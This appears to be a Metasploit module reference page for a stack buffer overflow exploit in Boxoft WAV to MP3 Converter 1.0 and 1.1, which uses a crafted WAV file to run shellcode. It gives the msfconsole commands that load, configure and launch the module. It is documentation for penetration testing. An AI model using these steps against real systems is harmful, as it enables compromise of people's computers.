This module exploits a stack buffer overflow in Boxoft WAV to MP3 Converter versions 1.0 and 1.1. By constructing a specially crafted WAV file and attempting to convert it to an MP3 file in the application, a buffer is overwritten, which allows for running shellcode.
Windows
To display the available options, load the module within the Metasploit console and run the commands 'show options' or 'show advanced':
msf > use exploit/windows/fileformat/boxoft_wav_to_mp3
msf exploit(boxoft_wav_to_mp3) > show targets
...targets...
msf exploit(boxoft_wav_to_mp3) > set TARGET < target-id >
msf exploit(boxoft_wav_to_mp3) > show options
...show and set options...
msf exploit(boxoft_wav_to_mp3) > exploit
Time is precious, so I don’t want to do something manually that I can automate. Leveraging the Metasploit Framework when automating any task keeps us from having to re-create the wheel as we can use the existing libraries and focus our efforts where it matters.
